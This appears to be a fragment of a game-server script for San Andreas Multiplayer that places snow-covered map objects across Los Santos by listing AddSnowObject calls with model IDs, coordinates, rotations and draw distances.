AddSnowObject(5472, 2117.300, -1541.579, 23.539, 0.000, 0.000, -90.018, 176.1);
AddSnowObject(5473, 2124.879, -1576.199, 20.945, 0.000, 0.000, 0.000, 203.2);
AddSnowObject(5504, 2046.000, -1613.000, 12.000, 0.000, 0.000, 0.000, 161.4);
AddSnowObject(740, 1869.969, -1204.550, 16.585, 0.000, 0.000, 0.000, 132.4);
AddSnowObject(740, 2009.859, -1478.489, 9.781, 0.000, 0.000, 0.000, 132.4);
AddSnowObject(740, 2083.939, -1481.520, 14.992, 0.000, 0.000, 0.000, 132.4);
AddSnowObject(740, 2025.140, -1244.510, 22.304, 0.000, 0.000, 0.000, 132.4);
AddSnowObject(740, 1917.550, -1095.040, 22.671, 0.000, 0.000, 0.000, 132.4);
AddSnowObject(740, 1912.109, -1478.849, 9.781, 0.000, 0.000, 0.000, 132.4);
AddSnowObject(5632, 2161.080, -1131.680, 31.117, 0.000, 0.000, 0.000, 139.1);
AddSnowObject(5633, 2089.360, -1643.930, 18.218, 0.000, 0.000, 0.000, 245.8);
AddSnowObject(5634, 1931.310, -1574.839, 16.460, 0.000, 0.000, 0.000, 166.4);
AddSnowObject(5637, 2043.900, -1138.390, 31.007, 0.000, 0.000, 0.000, 197.3);
AddSnowObject(5638, 2184.500, -1179.329, 36.406, 0.000, 0.000, 0.000, 138.9);
AddSnowObject(740, 1887.199, -1565.900, 9.781, 0.000, 0.000, 0.000, 132.4);
AddSnowObject(740, 1863.310, -1568.650, 11.773, 0.000, 0.000, 0.000, 132.4);
AddSnowObject(5641, 1924.770, -1139.770, 27.140, 0.000, 0.000, 0.000, 154.5);
AddSnowObject(5679, 2286.169, -974.804, 30.500, 0.000, 0.000, 0.000, 210.9);
AddSnowObject(17524, 2606.879, -1350.500, 51.070, 0.000, 0.000, 0.000, 185.2);
AddSnowObject(17535, 2364.050, -1391.530, 41.351, 0.000, 0.000, -44.999, 186.7);
AddSnowObject(17582, 2739.219, -1770.089, 17.554, 0.000, 0.000, 174.999, 246.6);
AddSnowObject(17594, 2314.850, -1799.420, 13.070, 0.000, 0.000, 0.000, 197.5);
AddSnowObject(17597, 2314.949, -1741.329, 12.484, 0.000, 0.000, 0.000, 210.8);
AddSnowObject(17606, 2848.879, -1799.569, 10.320, 0.000, 0.000, 0.000, 188.9);
AddSnowObject(17607, 2854.899, -1525.410, 9.898, 0.000, 0.000, 0.000, 229.0);
AddSnowObject(17670, 2463.750, -1151.650, 34.968, 0.000, 0.000, 0.000, 184.1);
AddSnowObject(17671, 2633.649, -1152.689, 47.906, 0.000, 0.000, 0.000, 187.7);
AddSnowObject(17672, 2789.419, -1144.949, 29.953, 0.000, 0.000, 0.000, 173.9);
AddSnowObject(17673, 2882.550, -1146.640, 10.085, 0.000, 0.000, 0.000, 190.0);
AddSnowObject(17674, 2903.429, -1336.880, 9.976, 0.000, 0.000, 0.000, 214.2);
AddSnowObject(17675, 2893.590, -1586.530, 10.226, 0.000, 0.000, 0.000, 253.8);
AddSnowObject(17676, 2928.050, -1298.130, 8.164, 0.000, 0.000, 0.000, 297.1);
AddSnowObject(17677, 2587.659, -1101.260, 56.554, 0.000, 0.000, 0.000, 164.0);
AddSnowObject(17678, 2506.879, -1167.060, 46.242, 0.000, 0.000, 0.000, 227.6);
AddSnowObject(17683, 2866.699, -1355.910, 15.695, 0.000, 0.000, 0.000, 226.1);
AddSnowObject(17684, 2847.090, -1148.800, 16.898, 0.000, 0.000, 0.000, 192.0);
AddSnowObject(17685, 2810.669, -1263.750, 39.125, 0.000, 0.000, 0.000, 224.9);
AddSnowObject(17686, 2627.550, -1494.089, 17.648, 0.000, 0.000, 0.000, 166.6);
AddSnowObject(17912, 2672.909, -1883.770, 13.875, 0.000, 0.000, 80.000, 173.3);
AddSnowObject(17938, 2571.379, -1816.410, 2.601, 0.000, 0.000, 0.000, 157.1);
AddSnowObject(17944, 2674.020, -1382.550, 52.695, 0.000, 0.000, 0.000, 222.9);
AddSnowObject(17613, 2489.300, -1668.500, 12.296, 0.000, 0.000, 0.000, 132.8);
AddSnowObject(17520, 2497.770, -1762.390, 15.625, 0.000, 0.000, 0.000, 133.7);
AddSnowObject(17599, 2522.199, -1773.000, 12.460, 0.000, 0.000, 0.000, 153.0);
AddSnowObject(17616, 2521.689, -1692.859, 14.867, 0.000, 0.000, 0.000, 135.5);
AddSnowObject(17506, 2582.550, -1872.630, 6.585, 0.000, 0.000, 0.000, 212.5);
AddSnowObject(17568, 2586.860, -1744.060, 6.585, 0.000, 0.000, 0.000, 179.4);
AddSnowObject(17502, 2583.300, -1731.930, 11.000, 0.000, 0.000, 0.000, 153.3);
AddSnowObject(17600, 2585.260, -1732.339, 11.132, 0.000, 0.000, 0.000, 148.9);
AddSnowObject(17940, 2586.010, -1737.209, 10.062, 0.000, 0.000, 0.000, 142.6);
AddSnowObject(17603, 2642.800, -1733.099, 9.695, 0.000, 0.000, 0.000, 166.5);
AddSnowObject(17911, 2624.750, -1729.750, 13.570, 0.000, 0.000, 80.000, 192.8);
AddSnowObject(17939, 2582.159, -1670.739, 5.734, 0.000, 0.000, 0.000, 138.1);
AddSnowObject(17927, 2771.169, -1901.489, 11.210, 0.000, 0.000, 0.000, 147.8);
AddSnowObject(17953, 2916.770, -1877.650, 0.070, 0.000, 0.000, 0.000, 157.4);
AddSnowObject(17601, 2674.189, -1860.699, 11.210, 0.000, 0.000, 0.000, 179.6);
AddSnowObject(17602, 2678.689, -1849.800, 9.906, 0.000, 0.000, 0.000, 168.5);
AddSnowObject(17511, 2737.750, -1760.060, 26.226, 0.000, 0.000, 0.000, 211.9);
AddSnowObject(17639, 2490.909, -1504.329, 22.921, 0.000, 0.000, 0.000, 150.8);
AddSnowObject(17852, 2490.909, -1474.339, 27.343, 0.000, 0.000, 0.000, 151.4);
AddSnowObject(17617, 2502.320, -1649.589, 15.195, 0.000, 0.000, 0.000, 144.5);
AddSnowObject(17865, 2510.479, -1543.270, 21.710, 0.000, 0.000, 0.000, 184.9);
AddSnowObject(17509, 2511.760, -1544.310, 18.515, 0.000, 0.000, 0.000, 185.6);
AddSnowObject(17682, 2674.949, -1622.550, 14.179, 0.000, 0.000, 0.000, 146.2);
AddSnowObject(17654, 2556.350, -1612.910, 15.906, 0.000, 0.000, 0.000, 183.7);
AddSnowObject(17936, 2586.010, -1612.400, 14.640, 0.000, 0.000, 0.000, 141.6);
AddSnowObject(17525, 2586.310, -1595.760, 4.992, 0.000, 0.000, 0.000, 152.5);
AddSnowObject(17507, 2587.080, -1589.449, 15.273, 0.000, 0.000, 0.000, 216.5);
AddSnowObject(17680, 2642.699, -1540.800, 19.593, 0.000, 0.000, 0.000, 207.4);
AddSnowObject(17937, 2593.810, -1523.329, 17.773, 0.000, 0.000, 0.000, 169.0);
AddSnowObject(17921, 2560.870, -1474.339, 22.914, 0.000, 0.000, 0.000, 144.8);
AddSnowObject(17688, 2604.989, -1465.869, 25.218, 0.000, 0.000, 0.000, 145.8);
AddSnowObject(17604, 2690.300, -1657.300, 10.898, 0.000, 0.000, 0.000, 158.2);
AddSnowObject(17605, 2798.699, -1657.300, 10.984, 0.000, 0.000, 0.000, 151.9);
AddSnowObject(17549, 2809.699, -1616.819, 18.710, 0.000, 0.000, 0.000, 137.3);
AddSnowObject(17550, 2870.239, -1589.390, 16.562, 0.000, 0.000, 0.000, 153.0);
AddSnowObject(17609, 2730.139, -1572.900, 20.632, 0.000, 0.000, 0.000, 177.0);
AddSnowObject(17541, 2803.399, -1573.800, 20.296, 0.000, 0.000, 0.000, 194.4);
AddSnowObject(17551, 2844.239, -1531.880, 20.140, 0.000, 0.000, 0.000, 139.7);
AddSnowObject(17538, 2682.800, -1507.410, 44.140, 0.000, 0.000, 0.000, 203.7);
AddSnowObject(17804, 2770.360, -1515.349, 29.046, 0.000, 0.000, 0.000, 157.1);
AddSnowObject(17608, 2806.300, -1488.449, 19.585, 0.000, 0.000, 0.000, 160.4);
AddSnowObject(17595, 2217.479, -1810.839, 12.367, 0.000, 0.000, 0.000, 152.7);
AddSnowObject(17610, 2224.040, -1680.640, 13.406, 0.000, 0.000, 0.000, 146.2);
AddSnowObject(17886, 2264.040, -1789.260, 20.773, 0.000, 0.000, 0.000, 152.1);
AddSnowObject(17515, 2260.000, -1707.729, 17.171, 0.000, 0.000, 0.000, 137.3);
AddSnowObject(17620, 2281.209, -1695.650, 13.445, 0.000, 0.000, 0.000, 158.0);
AddSnowObject(17567, 2288.189, -1851.630, 5.710, 0.000, 0.000, 0.000, 224.1);
AddSnowObject(17887, 2343.610, -1784.510, 20.312, 0.000, 0.000, 0.000, 169.9);
AddSnowObject(17621, 2342.590, -1682.699, 12.093, 0.000, 0.000, 0.000, 140.8);
AddSnowObject(17611, 2284.659, -1656.709, 13.429, 0.000, 0.000, 0.000, 149.5);
AddSnowObject(17513, 2288.899, -1525.500, 17.898, 0.000, 0.000, 0.000, 153.6);
AddSnowObject(17920, 2295.020, -1564.469, 12.320, 0.000, 0.000, 0.000, 141.1);
AddSnowObject(17619, 2303.409, -1622.420, 9.054, 0.000, 0.000, 0.000, 190.7);
AddSnowObject(17867, 2308.449, -1599.380, 4.632, 0.000, 0.000, 0.000, 170.4);
AddSnowObject(17622, 2342.610, -1608.810, 16.914, 0.000, 0.000, 0.000, 136.7);
AddSnowObject(17505, 2339.790, -1583.989, 12.765, 0.000, 0.000, 0.000, 159.2);
AddSnowObject(17866, 2339.790, -1583.989, 14.960, 0.000, 0.000, 0.000, 159.1);
AddSnowObject(17872, 2339.790, -1584.099, 14.601, 0.000, 0.000, 0.000, 159.2);
AddSnowObject(17576, 2351.570, -1596.069, 22.125, 0.000, 0.000, 0.000, 132.7);
AddSnowObject(17623, 2342.500, -1534.000, 22.898, 0.000, 0.000, 0.000, 141.2);
AddSnowObject(17500, 2478.600, -1851.479, 6.476, 0.000, 0.000, 0.000, 229.1);
AddSnowObject(17596, 2413.750, -1820.839, 12.460, 0.000, 0.000, 0.000, 162.3);
AddSnowObject(17548, 2482.330, -1783.150, 14.445, 0.000, 0.000, 0.000, 171.4);
AddSnowObject(17516, 2356.270, -1695.579, 13.515, 0.000, 0.000, 0.000, 157.4);
AddSnowObject(17614, 2387.800, -1695.650, 13.742, 0.000, 0.000, 0.000, 143.7);
AddSnowObject(17598, 2469.379, -1732.209, 12.578, 0.000, 0.000, 0.000, 149.5);
AddSnowObject(17615, 2459.590, -1695.599, 13.593, 0.000, 0.000, 0.000, 140.4);
AddSnowObject(17656, 2431.050, -1677.430, 20.312, 0.000, 0.000, 0.000, 146.9);
AddSnowObject(17913, 2431.050, -1677.430, 20.312, 0.000, 0.000, 0.000, 143.6);
AddSnowObject(17612, 2408.090, -1658.910, 12.398, 0.000, 0.000, 0.000, 156.3);
AddSnowObject(17618, 2433.100, -1638.900, 12.718, 0.000, 0.000, 0.000, 143.6);
AddSnowObject(17655, 2433.070, -1611.550, 12.031, 0.000, 0.000, 0.000, 154.7);
AddSnowObject(17657, 2431.040, -1603.489, 20.203, 0.000, 0.000, 0.000, 132.3);
AddSnowObject(17916, 2366.810, -1537.540, 39.468, 0.000, 0.000, 50.500, 188.4);
AddSnowObject(17508, 2386.699, -1557.030, 21.718, 0.000, 0.000, 0.000, 142.0);
AddSnowObject(17624, 2386.790, -1524.359, 22.914, 0.000, 0.000, 0.000, 135.6);
AddSnowObject(17829, 2413.689, -1576.640, 16.203, 0.000, 0.000, 0.000, 165.6);
AddSnowObject(17863, 2467.459, -1538.250, 27.601, 0.000, 0.000, 0.000, 185.4);
AddSnowObject(17862, 2458.379, -1532.439, 22.992, 0.000, 0.000, 0.000, 138.1);
AddSnowObject(17638, 2431.699, -1514.349, 22.906, 0.000, 0.000, 0.000, 160.9);
AddSnowObject(17563, 2307.919, -1434.040, 21.679, 0.000, 0.000, 0.000, 150.0);
AddSnowObject(17625, 2315.360, -1444.199, 22.132, 0.000, 0.000, 0.000, 162.2);
AddSnowObject(17627, 2347.669, -1384.310, 22.929, 0.000, 0.000, 0.000, 135.0);
AddSnowObject(17503, 2386.639, -1454.339, 27.226, 0.000, 0.000, 0.000, 169.3);
AddSnowObject(17637, 2391.179, -1414.329, 22.929, 0.000, 0.000, 0.000, 141.3);
AddSnowObject(17636, 2411.159, -1402.880, 28.015, 0.000, 0.000, 0.000, 143.9);
AddSnowObject(17626, 2303.439, -1338.040, 22.984, 0.000, 0.000, 0.000, 157.0);
AddSnowObject(17545, 2337.179, -1342.630, 23.328, 0.000, 0.000, 0.000, 139.7);
AddSnowObject(17544, 2337.340, -1330.849, 25.710, 0.000, 0.000, 0.000, 131.4);
AddSnowObject(17628, 2371.090, -1320.449, 22.914, 0.000, 0.000, 0.000, 154.8);
AddSnowObject(17634, 2411.020, -1301.750, 25.406, 0.000, 0.000, 0.000, 146.2);
AddSnowObject(17635, 2411.020, -1352.099, 23.703, 0.000, 0.000, 0.000, 137.3);
AddSnowObject(17527, 2414.399, -1362.199, 32.601, 0.000, 0.000, 0.000, 189.0);
AddSnowObject(17640, 2461.389, -1445.780, 25.820, 0.000, 0.000, 0.000, 161.5);
AddSnowObject(17641, 2454.600, -1350.459, 22.828, 0.000, 0.000, 0.000, 185.0);
AddSnowObject(17689, 2550.659, -1455.300, 28.867, 0.000, 0.000, 0.000, 151.5);
AddSnowObject(17917, 2556.290, -1441.650, 53.671, 0.000, 0.000, 50.500, 143.1);
AddSnowObject(17528, 2484.979, -1357.839, 28.750, 0.000, 0.000, 0.000, 171.7);
AddSnowObject(17645, 2481.219, -1350.489, 27.773, 0.000, 0.000, 0.000, 186.5);
AddSnowObject(17644, 2511.770, -1349.520, 30.796, 0.000, 0.000, 0.000, 184.6);
AddSnowObject(17679, 2540.830, -1350.589, 40.898, 0.000, 0.000, 0.000, 189.2);
AddSnowObject(17943, 2540.879, -1350.800, 42.601, 0.000, 0.000, 0.000, 184.7);
AddSnowObject(17646, 2511.000, -1256.599, 33.796, 0.000, 0.000, 0.000, 152.2);
AddSnowObject(17632, 2307.520, -1225.099, 23.804, 0.000, 0.000, 0.000, 167.5);
AddSnowObject(17510, 2337.209, -1211.859, 28.070, 0.000, 0.000, 0.000, 138.8);
AddSnowObject(17633, 2337.219, -1228.520, 24.742, 0.000, 0.000, 0.000, 167.0);
AddSnowObject(17630, 2371.080, -1216.369, 24.710, 0.000, 0.000, 0.000, 153.3);
AddSnowObject(17642, 2411.090, -1235.329, 27.804, 0.000, 0.000, 0.000, 143.7);
AddSnowObject(17700, 2411.030, -1215.300, 31.390, 0.000, 0.000, 0.000, 145.4);
AddSnowObject(17647, 2420.949, -1179.130, 31.015, 0.000, 0.000, 0.000, 143.0);
AddSnowObject(17631, 2336.939, -1153.140, 26.625, 0.000, 0.000, 0.000, 146.3);
AddSnowObject(17669, 2378.030, -1110.170, 33.617, 0.000, 0.000, 0.000, 172.9);
AddSnowObject(17643, 2451.020, -1230.290, 29.187, 0.000, 0.000, 0.000, 138.2);
AddSnowObject(17891, 2511.229, -1234.660, 39.500, 0.000, 0.000, 0.000, 159.9);
AddSnowObject(17892, 2511.020, -1220.270, 42.523, 0.000, 0.000, 0.000, 158.5);
AddSnowObject(17648, 2511.040, -1184.540, 48.203, 0.000, 0.000, 0.000, 152.6);
AddSnowObject(17894, 2524.449, -1205.619, 56.406, 0.000, 0.000, 0.000, 131.5);
AddSnowObject(17906, 2440.300, -1120.250, 43.296, 0.000, 0.000, 0.000, 210.4);
AddSnowObject(17668, 2506.699, -1079.839, 54.945, 0.000, 0.000, 0.000, 170.9);
AddSnowObject(17687, 2577.239, -1447.229, 30.773, 0.000, 0.000, 0.000, 157.0);
AddSnowObject(17649, 2571.000, -1350.410, 33.898, 0.000, 0.000, 0.000, 185.2);
AddSnowObject(17591, 2606.379, -1341.839, 47.546, 0.000, 0.000, 0.000, 177.3);
AddSnowObject(17546, 2608.479, -1424.160, 45.914, 0.000, 0.000, 0.000, 131.7);
AddSnowObject(17653, 2642.790, -1350.260, 39.140, 0.000, 0.000, 0.000, 185.3);
AddSnowObject(17681, 2682.649, -1456.400, 29.453, 0.000, 0.000, 0.000, 168.8);
AddSnowObject(17658, 2730.129, -1445.920, 32.687, 0.000, 0.000, 0.000, 155.4);
AddSnowObject(17555, 2765.090, -1454.439, 29.437, 0.000, 0.000, 0.000, 142.7);
AddSnowObject(17585, 2765.090, -1454.439, 29.437, 0.000, 0.000, 0.000, 166.2);
AddSnowObject(17561, 2769.530, -1446.670, 22.062, 0.000, 0.000, 0.000, 166.5);
AddSnowObject(17586, 2762.050, -1400.089, 56.523, 0.000, 0.000, 0.000, 149.6);
AddSnowObject(17547, 2766.860, -1347.219, 48.992, 0.000, 0.000, 0.000, 143.2);
AddSnowObject(17652, 2646.800, -1257.000, 51.796, 0.000, 0.000, 0.000, 167.1);
AddSnowObject(17659, 2729.000, -1330.699, 47.296, 0.000, 0.000, 0.000, 166.4);
AddSnowObject(17888, 2767.310, -1292.660, 53.695, 0.000, 0.000, 0.000, 136.0);
AddSnowObject(3711, 2779.699, -1349.380, 32.960, 0.000, 0.000, 0.000, 130.5);
AddSnowObject(17560, 2786.949, -1401.300, 42.835, 0.000, 0.000, 0.000, 154.1);
AddSnowObject(17556, 2804.709, -1451.609, 19.546, 0.000, 0.000, 0.000, 132.3);
AddSnowObject(17557, 2804.909, -1451.459, 25.609, 0.000, 0.000, 0.000, 131.9);
AddSnowObject(17558, 2804.820, -1451.459, 33.546, 0.000, 0.000, 0.000, 131.9);
AddSnowObject(17589, 2801.780, -1392.640, 20.000, 0.000, 0.000, 0.000, 130.0);
AddSnowObject(17660, 2825.989, -1386.369, 15.171, 0.000, 0.000, 0.000, 140.7);
AddSnowObject(17918, 2840.909, -1404.699, 45.679, 0.000, 0.000, 50.500, 177.0);
AddSnowObject(17562, 2834.479, -1352.229, 27.375, 0.000, 0.000, 0.000, 134.2);
AddSnowObject(17553, 2846.050, -1453.329, 24.796, 0.000, 0.000, 0.000, 137.6);
AddSnowObject(17554, 2845.409, -1410.810, 27.062, 0.000, 0.000, 0.000, 130.3);
AddSnowObject(17922, 2849.020, -1354.410, 17.484, 0.000, 0.000, 179.999, 133.6);
AddSnowObject(17805, 2787.459, -1290.390, 46.375, 0.000, 0.000, 0.000, 146.6);
AddSnowObject(17661, 2796.889, -1323.229, 32.828, 0.000, 0.000, 0.000, 155.4);
AddSnowObject(17662, 2777.300, -1259.000, 52.000, 0.000, 0.000, 0.000, 132.3);
AddSnowObject(17901, 2843.899, -1324.449, 13.953, 0.000, 0.000, 9.999, 131.9);
AddSnowObject(17650, 2570.899, -1230.300, 52.796, 0.000, 0.000, 0.000, 138.5);
AddSnowObject(17665, 2604.340, -1220.229, 54.750, 0.000, 0.000, 0.000, 136.5);
AddSnowObject(17919, 2611.520, -1149.219, 67.085, 0.000, 0.000, -8.499, 195.4);
AddSnowObject(17666, 2642.669, -1217.780, 58.210, 0.000, 0.000, 0.000, 133.9);
AddSnowObject(17651, 2636.889, -1184.089, 64.554, 0.000, 0.000, 0.000, 176.6);
AddSnowObject(17532, 2646.699, -1220.810, 57.390, 0.000, 0.000, 0.000, 172.4);
AddSnowObject(17667, 2642.719, -1164.500, 59.164, 0.000, 0.000, 0.000, 133.5);
AddSnowObject(17841, 2682.699, -1115.520, 70.750, 0.000, 0.000, 0.000, 136.5);
AddSnowObject(17849, 2642.729, -1086.319, 66.023, 0.000, 0.000, 0.000, 149.6);
AddSnowObject(17692, 2681.780, -1078.750, 68.312, 0.000, 0.000, 0.000, 134.7);
AddSnowObject(17664, 2685.260, -1220.949, 59.398, 0.000, 0.000, 0.000, 139.8);
AddSnowObject(17899, 2757.159, -1239.479, 70.578, 0.000, 0.000, 0.000, 135.0);
AddSnowObject(17663, 2730.199, -1220.910, 63.398, 0.000, 0.000, 0.000, 150.4);
AddSnowObject(17690, 2756.270, -1203.459, 56.015, 0.000, 0.000, 0.000, 141.8);
AddSnowObject(17696, 2690.389, -1154.140, 56.710, 0.000, 0.000, 0.000, 172.6);
AddSnowObject(17695, 2730.260, -1153.290, 64.265, 0.000, 0.000, 0.000, 144.2);
AddSnowObject(17694, 2704.290, -1095.790, 62.453, 0.000, 0.000, 0.000, 164.5);
AddSnowObject(17693, 2730.229, -1117.650, 64.171, 0.000, 0.000, 0.000, 159.0);
AddSnowObject(17691, 2778.800, -1099.800, 41.398, 0.000, 0.000, 0.000, 170.0);
AddSnowObject(17533, 2803.840, -1092.729, 57.375, 0.000, 0.000, 0.000, 154.8);
AddSnowObject(5390, 1919.520, -1400.900, 16.171, 0.000, 0.000, 0.000, 196.1);
AddSnowObject(5415, 1916.939, -1400.890, 19.562, 0.000, 0.000, 0.000, 176.7);
AddSnowObject(5498, 1849.329, -1373.400, 12.484, 0.000, 0.000, 0.000, 203.2);
AddSnowObject(5400, 1913.130, -1370.500, 17.773, 0.000, 0.000, 0.000, 150.1);
AddSnowObject(5499, 1944.000, -1341.000, 18.000, 0.000, 0.000, 0.000, 178.3);
AddSnowObject(5463, 1881.800, -1315.540, 37.945, 0.000, 0.000, 0.000, 135.6);
AddSnowObject(5464, 1902.430, -1309.540, 29.914, 0.000, 0.000, 0.000, 161.8);
AddSnowObject(5462, 1914.209, -1300.050, 30.726, 0.000, 0.000, 0.000, 166.2);
AddSnowObject(5436, 1987.000, -1408.000, 17.000, 0.000, 0.000, 0.000, 151.2);
AddSnowObject(5467, 2026.119, -1404.640, 46.000, 0.000, 0.000, 0.000, 138.8);
AddSnowObject(5461, 2011.469, -1300.900, 28.695, 0.000, 0.000, 0.000, 155.1);
AddSnowObject(5631, 2011.410, -1302.949, 28.273, 0.000, 0.000, 0.000, 140.7);
AddSnowObject(5403, 2050.070, -1401.209, 33.679, 0.000, 0.000, 0.000, 168.4);
AddSnowObject(5402, 2049.870, -1400.890, 20.679, 0.000, 0.000, 0.000, 194.5);
AddSnowObject(5495, 2066.000, -1358.000, 23.000, 0.000, 0.000, 0.000, 159.8);
AddSnowObject(5434, 1946.829, -1260.910, 17.679, 0.000, 0.000, 0.000, 210.6);
AddSnowObject(5640, 1914.030, -1198.329, 19.593, 0.000, 0.000, 0.000, 174.6);
AddSnowObject(5488, 1852.270, -1196.060, 20.421, 0.000, 0.000, 0.000, 160.7);
AddSnowObject(5487, 1972.609, -1198.310, 23.976, 0.000, 0.000, 0.000, 154.3);
AddSnowObject(5677, 1969.089, -1197.640, 25.437, 0.000, 0.000, 0.000, 164.8);
AddSnowObject(5458, 1995.020, -1198.349, 21.109, 0.000, 0.000, 0.000, 181.6);
AddSnowObject(5435, 2069.370, -1260.989, 22.898, 0.000, 0.000, 90.003, 151.4);
AddSnowObject(5485, 1950.589, -1135.880, 24.023, 0.000, 0.000, 179.939, 200.5);
AddSnowObject(5457, 1923.609, -1088.339, 24.507, 0.000, 0.000, 0.000, 159.9);
AddSnowObject(5431, 1914.180, -1073.310, 23.101, 0.000, 0.000, 0.000, 181.6);
AddSnowObject(5668, 1928.910, -1026.760, 28.718, 0.000, 0.000, 0.000, 152.1);
AddSnowObject(5443, 2019.410, -1107.130, 24.554, 0.000, 0.000, 0.000, 148.7);
AddSnowObject(5486, 2005.500, -1081.300, 24.195, 0.000, 0.000, 0.000, 163.0);
AddSnowObject(5481, 2023.260, -1034.479, 29.125, 0.000, 0.000, 0.000, 157.8);
AddSnowObject(5447, 2004.209, -976.085, 37.085, 0.000, 0.000, 0.000, 131.7);
AddSnowObject(5483, 2069.300, -1149.199, 22.945, 0.000, 0.000, 0.000, 158.9);
AddSnowObject(5656, 2046.650, -1009.969, 40.890, 0.000, 0.000, 0.000, 150.1);
AddSnowObject(5433, 2044.589, -1007.200, 38.898, 0.000, 0.000, 0.000, 179.7);
AddSnowObject(5448, 2068.199, -965.953, 47.882, 0.000, 0.000, 0.000, 152.7);
AddSnowObject(5446, 2086.300, -1077.079, 29.054, 0.000, 0.000, 0.000, 190.8);
AddSnowObject(5420, 1835.819, -1815.140, 7.648, 0.000, 0.000, 0.000, 170.4);
AddSnowObject(5397, 1866.329, -1789.780, 20.945, 0.000, 0.000, 0.000, 145.8);
AddSnowObject(5489, 1932.589, -1782.099, 12.500, 0.000, 0.000, 0.000, 148.2);
AddSnowObject(5404, 1952.719, -1856.780, 7.085, 0.000, 0.000, 0.000, 169.2);
AddSnowObject(5652, 2030.229, -1846.069, 3.421, 0.000, 0.000, 0.000, 178.7);
AddSnowObject(5417, 2029.500, -1819.270, 14.335, 0.000, 0.000, 0.000, 134.6);
AddSnowObject(5411, 2021.660, -1810.729, 18.601, 0.000, 0.000, 0.000, 162.4);
AddSnowObject(5521, 2049.580, -1781.680, 18.328, 0.000, 0.000, 0.000, 165.3);
AddSnowObject(5503, 1927.699, -1754.310, 12.460, 0.000, 0.000, 0.000, 180.6);
AddSnowObject(5502, 1822.890, -1725.260, 12.468, 0.000, 0.000, -90.000, 200.4);
AddSnowObject(5408, 1873.739, -1682.479, 34.796, 0.000, 0.000, 0.000, 181.3);
AddSnowObject(5441, 1941.660, -1682.569, 12.476, 0.000, 0.000, -89.997, 160.8);
AddSnowObject(5412, 1971.660, -1682.310, 13.742, 0.000, 0.000, -0.000, 161.8);
AddSnowObject(5505, 2002.479, -1700.979, 12.460, 0.000, 0.000, 0.000, 170.7);
AddSnowObject(5442, 2041.729, -1752.310, 12.476, 0.000, 0.000, 0.000, 131.6);
AddSnowObject(5407, 2041.650, -1682.189, 12.570, 0.000, 0.000, 0.000, 169.6);
AddSnowObject(5507, 2041.660, -1672.310, 12.476, 0.000, 0.000, -0.000, 131.6);
AddSnowObject(5501, 1884.660, -1613.420, 12.460, 0.000, 0.000, 0.000, 170.7);
AddSnowObject(5476, 1883.520, -1576.449, 20.195, 0.000, 0.000, 0.000, 151.0);
AddSnowObject(5474, 1931.650, -1577.569, 12.359, 0.000, 0.000, 0.000, 215.0);
AddSnowObject(5630, 1928.489, -1575.969, 20.554, 0.000, 0.000, 0.000, 137.7);
AddSnowObject(5470, 1887.790, -1541.119, 7.390, 0.000, 0.000, 0.000, 169.0);
AddSnowObject(5439, 1887.800, -1536.599, 7.898, 0.000, 0.000, 0.000, 200.7);
AddSnowObject(5475, 1977.839, -1569.050, 19.070, 0.000, 0.000, 0.000, 162.3);
AddSnowObject(5500, 1948.949, -1461.199, 12.468, 0.000, 0.000, 0.000, 178.5);
AddSnowObject(5469, 2039.790, -1476.050, 18.460, 0.000, 0.000, 0.000, 163.0);
AddSnowObject(5497, 2060.199, -1463.410, 18.945, 0.000, 0.000, 0.000, 144.8);
AddSnowObject(5437, 2155.000, -1382.000, 23.000, 0.000, 0.000, 0.000, 173.1);
AddSnowObject(5425, 2116.320, -1342.859, 26.734, 0.000, 0.000, 0.000, 149.2);
AddSnowObject(5423, 2121.100, -1260.880, 26.156, 0.000, 0.000, 0.000, 151.5);
AddSnowObject(5492, 2168.209, -1300.800, 22.898, 0.000, 0.000, 0.000, 190.0);
AddSnowObject(5493, 2169.979, -1260.459, 22.914, 0.000, 0.000, 0.000, 133.2);
AddSnowObject(5494, 2263.209, -1368.699, 22.929, 0.000, 0.000, -89.996, 151.1);
AddSnowObject(5674, 2286.379, -1371.270, 22.953, 0.000, 0.000, 0.000, 157.5);
AddSnowObject(5426, 2218.889, -1342.550, 25.242, 0.000, 0.000, 0.000, 154.5);
AddSnowObject(5424, 2218.889, -1260.810, 24.289, 0.000, 0.000, 0.000, 186.1);
AddSnowObject(5491, 2171.389, -1220.819, 22.882, 0.000, 0.000, 0.000, 190.0);
AddSnowObject(5414, 2112.729, -1178.469, 27.335, 0.000, 0.000, -89.999, 156.1);
AddSnowObject(5459, 2123.939, -1159.000, 24.164, 0.000, 0.000, 0.000, 167.7);
AddSnowObject(5482, 2172.570, -1171.199, 23.554, 0.000, 0.000, 0.000, 142.6);
AddSnowObject(5432, 2110.090, -1098.800, 23.796, 0.000, 0.000, 0.000, 181.9);
AddSnowObject(5444, 2143.050, -1048.410, 48.648, 0.000, 0.000, 0.000, 151.6);
AddSnowObject(5445, 2105.959, -1038.550, 40.414, 0.000, 0.000, 0.000, 144.5);
AddSnowObject(5449, 2124.889, -1023.359, 53.687, 0.000, 0.000, 0.000, 163.3);
AddSnowObject(5655, 2111.800, -1010.090, 55.148, 0.000, 0.000, 0.000, 135.4);
AddSnowObject(5624, 2136.729, -975.828, 58.109, 0.000, 0.000, -14.999, 131.0);
AddSnowObject(5453, 2179.790, -1082.479, 42.726, 0.000, 0.000, 0.000, 144.8);
AddSnowObject(5456, 2185.090, -1013.210, 59.195, 0.000, 0.000, 0.000, 184.7);
AddSnowObject(5484, 2190.590, -1063.069, 45.140, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(5406, 2223.270, -1202.189, 27.648, 0.000, 0.000, 0.000, 139.3);
AddSnowObject(5413, 2222.989, -1162.599, 30.039, 0.000, 0.000, 0.000, 154.4);
AddSnowObject(5650, 2213.500, -1124.910, 24.796, 0.000, 0.000, 0.000, 156.2);
AddSnowObject(5450, 2194.090, -991.187, 64.578, 0.000, 0.000, 0.000, 140.4);
AddSnowObject(5643, 2202.560, -1041.630, 58.132, 0.000, 0.000, 0.000, 142.6);
AddSnowObject(5642, 2229.610, -1063.469, 46.687, 0.000, 0.000, 0.000, 135.5);
AddSnowObject(5451, 2256.030, -1019.919, 59.382, 0.000, 0.000, 0.000, 149.2);
AddSnowObject(5452, 2258.360, -1099.410, 39.992, 0.000, 0.000, 0.000, 154.6);
AddSnowObject(5490, 2269.780, -1224.530, 24.406, 0.000, 0.000, 0.000, 190.1);
AddSnowObject(5477, 2287.090, -1217.660, 24.546, 0.000, 0.000, 0.000, 196.5);
AddSnowObject(5419, 2078.159, -1847.699, 7.765, 0.000, 0.000, 0.000, 190.7);
